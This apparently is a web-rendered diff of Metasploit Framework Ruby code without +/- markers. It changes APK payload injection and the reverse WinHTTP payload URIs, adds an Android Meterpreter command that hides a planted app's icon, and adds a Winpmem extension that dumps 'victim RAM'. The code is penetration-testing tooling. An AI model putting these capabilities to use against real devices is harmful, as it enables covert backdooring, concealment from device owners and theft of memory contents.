if original_permissions.empty?
|
||||||
|
application.before(permission.to_xml)
|
||||||
|
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||||
|
else
|
||||||
|
original_permissions.before(permission.to_xml)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -93,12 +101,12 @@ class Msf::Payload::Apk
|
||||||
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
|
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
|
||||||
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
|
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
|
||||||
|
|
||||||
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml }
|
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_orig_cert_data(orig_apkfile)
|
def parse_orig_cert_data(orig_apkfile)
|
||||||
orig_cert_data = Array[]
|
orig_cert_data = Array[]
|
||||||
keytool_output = run_cmd("keytool -printcert -jarfile #{orig_apkfile}")
|
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
|
||||||
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
||||||
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
||||||
orig_cert_data.push("#{orig_cert_dname}")
|
orig_cert_data.push("#{orig_cert_dname}")
|
||||||
|
|
|
@ -37,7 +37,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
|
|
||||||
# Add extra options if we have enough space
|
# Add extra options if we have enough space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space && required_space <= self.available_space
|
||||||
conf[:uri] = generate_uri
|
conf[:uri] = luri + generate_uri
|
||||||
conf[:exitfunk] = datastore['EXITFUNC']
|
conf[:exitfunk] = datastore['EXITFUNC']
|
||||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||||
|
@ -49,7 +49,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
||||||
else
|
else
|
||||||
# Otherwise default to small URIs
|
# Otherwise default to small URIs
|
||||||
conf[:uri] = generate_small_uri
|
conf[:uri] = luri + generate_small_uri
|
||||||
end
|
end
|
||||||
|
|
||||||
generate_reverse_winhttp(conf)
|
generate_reverse_winhttp(conf)
|
||||||
|
@ -139,7 +139,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
full_url << opts[:uri]
|
full_url << opts[:uri]
|
||||||
|
|
||||||
encoded_full_url = asm_generate_wchar_array(full_url)
|
encoded_full_url = asm_generate_wchar_array(full_url)
|
||||||
encoded_uri_index = full_url.rindex('/') * 2
|
encoded_uri_index = (full_url.length - opts[:uri].length) * 2
|
||||||
|
|
||||||
if opts[:ssl] && opts[:verify_cert_hash]
|
if opts[:ssl] && opts[:verify_cert_hash]
|
||||||
verify_ssl = true
|
verify_ssl = true
|
||||||
|
|
|
@ -38,7 +38,7 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||||
|
|
||||||
# Add extra options if we have enough space
|
# Add extra options if we have enough space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space && required_space <= self.available_space
|
||||||
conf[:uri] = generate_uri
|
conf[:uri] = luri + generate_uri
|
||||||
conf[:exitfunk] = datastore['EXITFUNC']
|
conf[:exitfunk] = datastore['EXITFUNC']
|
||||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||||
|
@ -50,7 +50,7 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||||
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
||||||
else
|
else
|
||||||
# Otherwise default to small URIs
|
# Otherwise default to small URIs
|
||||||
conf[:uri] = generate_small_uri
|
conf[:uri] = luri + generate_small_uri
|
||||||
end
|
end
|
||||||
|
|
||||||
generate_reverse_winhttp(conf)
|
generate_reverse_winhttp(conf)
|
||||||
|
@ -141,7 +141,7 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||||
full_url << opts[:uri]
|
full_url << opts[:uri]
|
||||||
|
|
||||||
encoded_full_url = asm_generate_wchar_array(full_url)
|
encoded_full_url = asm_generate_wchar_array(full_url)
|
||||||
encoded_uri_index = full_url.rindex('/') * 2
|
encoded_uri_index = (full_url.length - opts[:uri].length) * 2
|
||||||
|
|
||||||
if opts[:ssl] && opts[:verify_cert_hash]
|
if opts[:ssl] && opts[:verify_cert_hash]
|
||||||
verify_ssl = true
|
verify_ssl = true
|
||||||
|
|
|
@ -112,6 +112,8 @@ class Plugin
|
||||||
output.print_error(msg) if (output)
|
output.print_error(msg) if (output)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
#
|
#
|
||||||
# Prints a 'good' message.
|
# Prints a 'good' message.
|
||||||
#
|
#
|
||||||
|
|
|
@ -166,7 +166,7 @@ module Msf::PostMixin
|
||||||
if self.platform and self.platform.kind_of?(Msf::Module::PlatformList)
|
if self.platform and self.platform.kind_of?(Msf::Module::PlatformList)
|
||||||
[
|
[
|
||||||
# Add as necessary
|
# Add as necessary
|
||||||
"windows", "linux", "osx"
|
'win', 'linux', 'osx'
|
||||||
].each do |name|
|
].each do |name|
|
||||||
if self.platform =~ /#{name}/
|
if self.platform =~ /#{name}/
|
||||||
p = Msf::Module::PlatformList.transform(name)
|
p = Msf::Module::PlatformList.transform(name)
|
||||||
|
@ -176,7 +176,7 @@ module Msf::PostMixin
|
||||||
elsif self.platform and self.platform.kind_of?(Msf::Module::Platform)
|
elsif self.platform and self.platform.kind_of?(Msf::Module::Platform)
|
||||||
p_klass = Msf::Module::Platform
|
p_klass = Msf::Module::Platform
|
||||||
case self.platform
|
case self.platform
|
||||||
when 'windows'
|
when 'win'
|
||||||
return false unless self.platform.kind_of?(p_klass::Windows)
|
return false unless self.platform.kind_of?(p_klass::Windows)
|
||||||
when 'osx'
|
when 'osx'
|
||||||
return false unless self.platform.kind_of?(p_klass::OSX)
|
return false unless self.platform.kind_of?(p_klass::OSX)
|
||||||
|
@ -188,8 +188,6 @@ module Msf::PostMixin
|
||||||
# Check to make sure architectures match
|
# Check to make sure architectures match
|
||||||
mod_arch = self.module_info['Arch']
|
mod_arch = self.module_info['Arch']
|
||||||
mod_arch = [mod_arch] unless mod_arch.kind_of?(Array)
|
mod_arch = [mod_arch] unless mod_arch.kind_of?(Array)
|
||||||
# TODO: what should be done with the likes of ARCH_CMD (and others) ?
|
|
||||||
return false unless mod_arch.include?(self.arch)
|
|
||||||
|
|
||||||
# If we got here, we haven't found anything that definitely
|
# If we got here, we haven't found anything that definitely
|
||||||
# disqualifies this session. Assume that means we can use it.
|
# disqualifies this session. Assume that means we can use it.
|
||||||
|
|
|
@ -1345,17 +1345,11 @@ require 'msf/core/exe/segment_appender'
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||||
template_path = File.join(Msf::Config.data_directory,
|
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
|
||||||
"templates",
|
|
||||||
"scripts")
|
|
||||||
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win32pe_psh(framework, code, opts = {})
|
def self.to_win32pe_psh(framework, code, opts = {})
|
||||||
template_path = File.join(Msf::Config.data_directory,
|
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
|
||||||
"templates",
|
|
||||||
"scripts")
|
|
||||||
Rex::Powershell::Payload.to_win32pe_psh(template_path, code)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -1364,10 +1358,7 @@ require 'msf/core/exe/segment_appender'
|
||||||
# Originally from PowerSploit
|
# Originally from PowerSploit
|
||||||
#
|
#
|
||||||
def self.to_win32pe_psh_reflection(framework, code, opts = {})
|
def self.to_win32pe_psh_reflection(framework, code, opts = {})
|
||||||
template_path = File.join(Msf::Config.data_directory,
|
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
|
||||||
"templates",
|
|
||||||
"scripts")
|
|
||||||
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_powershell_command(framework, arch, code)
|
def self.to_powershell_command(framework, arch, code)
|
||||||
|
|
|
@ -182,6 +182,25 @@ class APIRequest
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@res.elements.each('//Failure') do |s|
|
||||||
|
|
||||||
|
# 1.1 returns lower case elements
|
||||||
|
s.elements.each('message') do |m|
|
||||||
|
@error = m.text
|
||||||
|
end
|
||||||
|
s.elements.each('stacktrace') do |m|
|
||||||
|
@trace = m.text
|
||||||
|
end
|
||||||
|
|
||||||
|
# 1.2 returns capitalized elements
|
||||||
|
s.elements.each('Message') do |m|
|
||||||
|
@error = m.text
|
||||||
|
end
|
||||||
|
s.elements.each('Stacktrace') do |m|
|
||||||
|
@trace = m.text
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# This is a hack to handle corner cases where a heavily loaded Nexpose instance
|
# This is a hack to handle corner cases where a heavily loaded Nexpose instance
|
||||||
# drops our HTTP connection before processing. We try 5 times to establish a
|
# drops our HTTP connection before processing. We try 5 times to establish a
|
||||||
# connection in these situations. The actual exception occurs in the Ruby
|
# connection in these situations. The actual exception occurs in the Ruby
|
||||||
|
|
|
@ -248,6 +248,12 @@ class Android < Extension
|
||||||
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def hide_app_icon
|
||||||
|
request = Packet.create_request('android_hide_app_icon')
|
||||||
|
response = client.send_request(request)
|
||||||
|
response.get_tlv_value(TLV_TYPE_ICON_NAME)
|
||||||
|
end
|
||||||
|
|
||||||
def activity_start(uri)
|
def activity_start(uri)
|
||||||
request = Packet.create_request('android_activity_start')
|
request = Packet.create_request('android_activity_start')
|
||||||
request.add_tlv(TLV_TYPE_URI_STRING, uri)
|
request.add_tlv(TLV_TYPE_URI_STRING, uri)
|
||||||
|
|
|
@ -81,6 +81,8 @@ TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS
|
||||||
TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102)
|
TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102)
|
||||||
TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103)
|
TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103)
|
||||||
|
|
||||||
|
TLV_TYPE_ICON_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9104)
|
||||||
|
|
||||||
TLV_TYPE_SQLITE_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9080)
|
TLV_TYPE_SQLITE_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9080)
|
||||||
TLV_TYPE_SQLITE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9081)
|
TLV_TYPE_SQLITE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9081)
|
||||||
TLV_TYPE_SQLITE_QUERY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9082)
|
TLV_TYPE_SQLITE_QUERY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9082)
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Winpmem
|
||||||
|
TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
|
||||||
|
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,51 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/post/meterpreter/extensions/winpmem/tlv'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Winpmem
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This meterpreter extension can be used to capture remote RAM
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Winpmem < Extension
|
||||||
|
WINPMEM_ERROR_SUCCESS = 0
|
||||||
|
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
|
||||||
|
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
|
||||||
|
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
|
||||||
|
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
|
||||||
|
WINPMEM_ERROR_UNKNOWN = 255
|
||||||
|
|
||||||
|
def initialize(client)
|
||||||
|
super(client, 'winpmem')
|
||||||
|
|
||||||
|
client.register_extension_aliases(
|
||||||
|
[
|
||||||
|
{
|
||||||
|
'name' => 'winpmem',
|
||||||
|
'ext' => self
|
||||||
|
},
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def dump_ram
|
||||||
|
request = Packet.create_request('dump_ram')
|
||||||
|
response = client.send_request(request)
|
||||||
|
response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE)
|
||||||
|
|
||||||
|
return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS
|
||||||
|
|
||||||
|
memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE)
|
||||||
|
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
|
||||||
|
|
||||||
|
raise Exception, "We did not get a channel back!" if channel_id.nil?
|
||||||
|
#Open the compressed Channel
|
||||||
|
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
|
||||||
|
return memory_size, response_code, channel
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end; end; end; end; end
|
|
@ -673,12 +673,11 @@ class Packet < GroupTlv
|
||||||
#
|
#
|
||||||
def to_r
|
def to_r
|
||||||
raw = super
|
raw = super
|
||||||
xor_key = ''
|
xor_key = rand(254) + 1
|
||||||
xor_key << (rand(254) + 1).chr
|
xor_key |= (rand(254) + 1) << 8
|
||||||
xor_key << (rand(254) + 1).chr
|
xor_key |= (rand(254) + 1) << 16
|
||||||
xor_key << (rand(254) + 1).chr
|
xor_key |= (rand(254) + 1) << 24
|
||||||
xor_key << (rand(254) + 1).chr
|
result = [xor_key].pack('N') + xor_bytes(xor_key, raw)
|
||||||
result = xor_key + xor_bytes(xor_key, raw)
|
|
||||||
result
|
result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -689,7 +688,7 @@ class Packet < GroupTlv
|
||||||
# the TLV values.
|
# the TLV values.
|
||||||
#
|
#
|
||||||
def from_r(bytes)
|
def from_r(bytes)
|
||||||
xor_key = bytes[0,4]
|
xor_key = bytes[0,4].unpack('N')[0]
|
||||||
super(xor_bytes(xor_key, bytes[4, bytes.length]))
|
super(xor_bytes(xor_key, bytes[4, bytes.length]))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -698,7 +697,7 @@ class Packet < GroupTlv
|
||||||
#
|
#
|
||||||
def xor_bytes(xor_key, bytes)
|
def xor_bytes(xor_key, bytes)
|
||||||
result = ''
|
result = ''
|
||||||
bytes.bytes.zip(xor_key.bytes.cycle).each do |b|
|
bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b|
|
||||||
result << (b[0].ord ^ b[1].ord).chr
|
result << (b[0].ord ^ b[1].ord).chr
|
||||||
end
|
end
|
||||||
result
|
result
|
||||||
|
|
|
@ -57,7 +57,7 @@ class PacketParser
|
||||||
# payload length left to the number of bytes
|
# payload length left to the number of bytes
|
||||||
# specified in the length
|
# specified in the length
|
||||||
if (self.hdr_length_left == 0)
|
if (self.hdr_length_left == 0)
|
||||||
xor_key = raw[0, 4]
|
xor_key = raw[0, 4].unpack('N')[0]
|
||||||
length_bytes = packet.xor_bytes(xor_key, raw[4, 4])
|
length_bytes = packet.xor_bytes(xor_key, raw[4, 4])
|
||||||
# header size doesn't include the xor key, which is always tacked on the front
|
# header size doesn't include the xor key, which is always tacked on the front
|
||||||
self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)
|
self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)
|
||||||
|
|
|
@ -31,6 +31,7 @@ class Console::CommandDispatcher::Android
|
||||||
'wlan_geolocate' => 'Get current lat-long using WLAN information',
|
'wlan_geolocate' => 'Get current lat-long using WLAN information',
|
||||||
'interval_collect' => 'Manage interval collection capabilities',
|
'interval_collect' => 'Manage interval collection capabilities',
|
||||||
'activity_start' => 'Start an Android activity from a Uri string',
|
'activity_start' => 'Start an Android activity from a Uri string',
|
||||||
|
'hide_app_icon' => 'Hide the app icon from the launcher',
|
||||||
'sqlite_query' => 'Query a SQLite database from storage',
|
'sqlite_query' => 'Query a SQLite database from storage',
|
||||||
'set_audio_mode' => 'Set Ringer Mode'
|
'set_audio_mode' => 'Set Ringer Mode'
|
||||||
}
|
}
|
||||||
|
@ -46,6 +47,7 @@ class Console::CommandDispatcher::Android
|
||||||
'wlan_geolocate' => ['android_wlan_geolocate'],
|
'wlan_geolocate' => ['android_wlan_geolocate'],
|
||||||
'interval_collect' => ['android_interval_collect'],
|
'interval_collect' => ['android_interval_collect'],
|
||||||
'activity_start' => ['android_activity_start'],
|
'activity_start' => ['android_activity_start'],
|
||||||
|
'hide_app_icon' => ['android_hide_app_icon'],
|
||||||
'sqlite_query' => ['android_sqlite_query'],
|
'sqlite_query' => ['android_sqlite_query'],
|
||||||
'set_audio_mode' => ['android_set_audio_mode']
|
'set_audio_mode' => ['android_set_audio_mode']
|
||||||
}
|
}
|
||||||
|
@ -580,6 +582,27 @@ class Console::CommandDispatcher::Android
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmd_hide_app_icon(*args)
|
||||||
|
hide_app_icon_opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ]
|
||||||
|
)
|
||||||
|
|
||||||
|
hide_app_icon_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line('Usage: hide_app_icon [options]')
|
||||||
|
print_line('Hide the application icon from the launcher.')
|
||||||
|
print_line(hide_app_icon_opts.usage)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
result = client.android.hide_app_icon
|
||||||
|
if result
|
||||||
|
print_status("Activity #{result} was hidden")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def cmd_sqlite_query(*args)
|
def cmd_sqlite_query(*args)
|
||||||
sqlite_query_opts = Rex::Parser::Arguments.new(
|
sqlite_query_opts = Rex::Parser::Arguments.new(
|
||||||
'-h' => [ false, 'Help Banner' ],
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
|
|
@ -0,0 +1,90 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/post/meterpreter'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Ui
|
||||||
|
|
||||||
|
class Console::CommandDispatcher::Winpmem
|
||||||
|
|
||||||
|
Klass = Console::CommandDispatcher::Winpmem
|
||||||
|
|
||||||
|
include Console::CommandDispatcher
|
||||||
|
|
||||||
|
#
|
||||||
|
# Name for this dispatcher
|
||||||
|
#
|
||||||
|
def name
|
||||||
|
'Winpmem'
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# List of supported commands.
|
||||||
|
#
|
||||||
|
def commands
|
||||||
|
{
|
||||||
|
'dump_ram' => 'Dump victim RAM',
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
WINPMEM_ERROR_SUCCESS = 0
|
||||||
|
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
|
||||||
|
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
|
||||||
|
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
|
||||||
|
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
|
||||||
|
WINPMEM_ERROR_UNKNOWN = 255
|
||||||
|
|
||||||
|
def cmd_dump_ram(*args)
|
||||||
|
unless args[0]
|
||||||
|
print_error("Usage: dump_ram [output_file]")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
path_raw = args[0]
|
||||||
|
|
||||||
|
fd = ::File.new(path_raw, 'wb+')
|
||||||
|
memory_size, response_code, channel = client.winpmem.dump_ram
|
||||||
|
case response_code
|
||||||
|
when WINPMEM_ERROR_FAILED_LOAD_DRIVER
|
||||||
|
print_error("Failed to load the driver")
|
||||||
|
return true
|
||||||
|
when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY
|
||||||
|
print_error("Failed to get the memory geometry")
|
||||||
|
return true
|
||||||
|
when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY
|
||||||
|
print_error("Failed to allocate memory")
|
||||||
|
return true
|
||||||
|
when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL
|
||||||
|
print_error("Failed to open the meterpreter Channel")
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
print_good("Driver PMEM loaded successfully")
|
||||||
|
#Arbitrary big buffer size, could be optimized
|
||||||
|
buffer_size = 2**17
|
||||||
|
bytes_read = 0
|
||||||
|
next_message_byte = memory_size / 10
|
||||||
|
begin
|
||||||
|
data = channel.read(buffer_size)
|
||||||
|
until channel.eof
|
||||||
|
fd.write(data)
|
||||||
|
bytes_read += data.length
|
||||||
|
data = channel.read(buffer_size)
|
||||||
|
if bytes_read >= next_message_byte
|
||||||
|
print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded")
|
||||||
|
next_message_byte += memory_size / 10
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print_status("Download completed")
|
||||||
|
ensure
|
||||||
|
print_status("Unloading driver")
|
||||||
|
fd.close
|
||||||
|
#Unload the driver on channel close
|
||||||
|
channel.close
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -108,21 +108,21 @@ class ClientRequest
|
||||||
qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1))
|
qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
if opts.key?("vars_get") && opts['vars_get']
|
||||||
|
opts['vars_get'].each_pair do |var,val|
|
||||||
|
var = var.to_s
|
||||||
|
|
||||||
opts['vars_get'].each_pair do |var,val|
|
qstr << '&' if qstr.length > 0
|
||||||
var = var.to_s
|
qstr << (opts['encode_params'] ? set_encode_uri(var) : var)
|
||||||
|
# support get parameter without value
|
||||||
qstr << '&' if qstr.length > 0
|
# Example: uri?parameter
|
||||||
qstr << (opts['encode_params'] ? set_encode_uri(var) : var)
|
if val
|
||||||
# support get parameter without value
|
val = val.to_s
|
||||||
# Example: uri?parameter
|
qstr << '='
|
||||||
if val
|
qstr << (opts['encode_params'] ? set_encode_uri(val) : val)
|
||||||
val = val.to_s
|
end
|
||||||
qstr << '='
|
|
||||||
qstr << (opts['encode_params'] ? set_encode_uri(val) : val)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if (opts['pad_post_params'])
|
if (opts['pad_post_params'])
|
||||||
1.upto(opts['pad_post_params_count'].to_i) do |i|
|
1.upto(opts['pad_post_params_count'].to_i) do |i|
|
||||||
rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1)
|
rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1)
|
||||||
|
|
|
@ -9,6 +9,7 @@ class Base
|
||||||
def print_status(msg); end
|
def print_status(msg); end
|
||||||
def print_good(msg); end
|
def print_good(msg); end
|
||||||
def print_error(msg); end
|
def print_error(msg); end
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
def print_warning(msg); end
|
def print_warning(msg); end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -24,6 +24,8 @@ class Output
|
||||||
def print_error(msg='')
|
def print_error(msg='')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
#
|
#
|
||||||
# Prints a 'good' message.
|
# Prints a 'good' message.
|
||||||
#
|
#
|
||||||
|
|
|
@ -46,6 +46,8 @@ module Subscriber
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
#
|
#
|
||||||
# Wraps user_output.print_good
|
# Wraps user_output.print_good
|
||||||
#
|
#
|
||||||
|
|
|
@ -80,6 +80,8 @@ class BidirectionalPipe < Rex::Ui::Text::Input
|
||||||
print_line('[-] ' + msg)
|
print_line('[-] ' + msg)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
def print_line(msg='')
|
def print_line(msg='')
|
||||||
print(msg + "\n")
|
print(msg + "\n")
|
||||||
end
|
end
|
||||||
|
|
|
@ -61,6 +61,8 @@ module DispatcherShell
|
||||||
shell.print_error(msg)
|
shell.print_error(msg)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
#
|
#
|
||||||
# Wraps shell.print_status
|
# Wraps shell.print_status
|
||||||
#
|
#
|
||||||
|
|
|
@ -40,6 +40,20 @@ begin
|
||||||
::Readline.completion_proc = tab_complete_proc || @rl_saved_proc
|
::Readline.completion_proc = tab_complete_proc || @rl_saved_proc
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Retrieve the line buffer
|
||||||
|
#
|
||||||
|
def line_buffer
|
||||||
|
if defined? RbReadline
|
||||||
|
RbReadline.rl_line_buffer
|
||||||
|
else
|
||||||
|
::Readline.line_buffer
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_accessor :prompt
|
||||||
|
|
||||||
#
|
#
|
||||||
# Whether or not the input medium supports readline.
|
# Whether or not the input medium supports readline.
|
||||||
#
|
#
|
||||||
|
@ -124,12 +138,13 @@ begin
|
||||||
# to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58)
|
# to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58)
|
||||||
# for rb-readline to support setting input and output. Output needs to be set so that colorization works for the
|
# for rb-readline to support setting input and output. Output needs to be set so that colorization works for the
|
||||||
# prompt on Windows.
|
# prompt on Windows.
|
||||||
|
self.prompt = prompt
|
||||||
if defined? RbReadline
|
if defined? RbReadline
|
||||||
RbReadline.rl_instream = fd
|
RbReadline.rl_instream = fd
|
||||||
RbReadline.rl_outstream = output
|
RbReadline.rl_outstream = output
|
||||||
|
|
||||||
begin
|
begin
|
||||||
line = RbReadline.readline(prompt)
|
line = RbReadline.readline("\001\r\033[K\002" + prompt)
|
||||||
rescue ::Exception => exception
|
rescue ::Exception => exception
|
||||||
RbReadline.rl_cleanup_after_signal()
|
RbReadline.rl_cleanup_after_signal()
|
||||||
RbReadline.rl_deprep_terminal()
|
RbReadline.rl_deprep_terminal()
|
||||||
|
@ -143,7 +158,7 @@ begin
|
||||||
|
|
||||||
line.try(:dup)
|
line.try(:dup)
|
||||||
else
|
else
|
||||||
::Readline.readline(prompt, true)
|
::Readline.readline("\001\r\033[K\002" + prompt, true)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -29,6 +29,7 @@ class Output < Rex::Ui::Output
|
||||||
super
|
super
|
||||||
end
|
end
|
||||||
attr_reader :config
|
attr_reader :config
|
||||||
|
attr_accessor :input
|
||||||
|
|
||||||
def disable_color
|
def disable_color
|
||||||
@config[:color] = false
|
@config[:color] = false
|
||||||
|
@ -51,6 +52,8 @@ class Output < Rex::Ui::Output
|
||||||
print_line("%bld%red[-]%clr #{msg}")
|
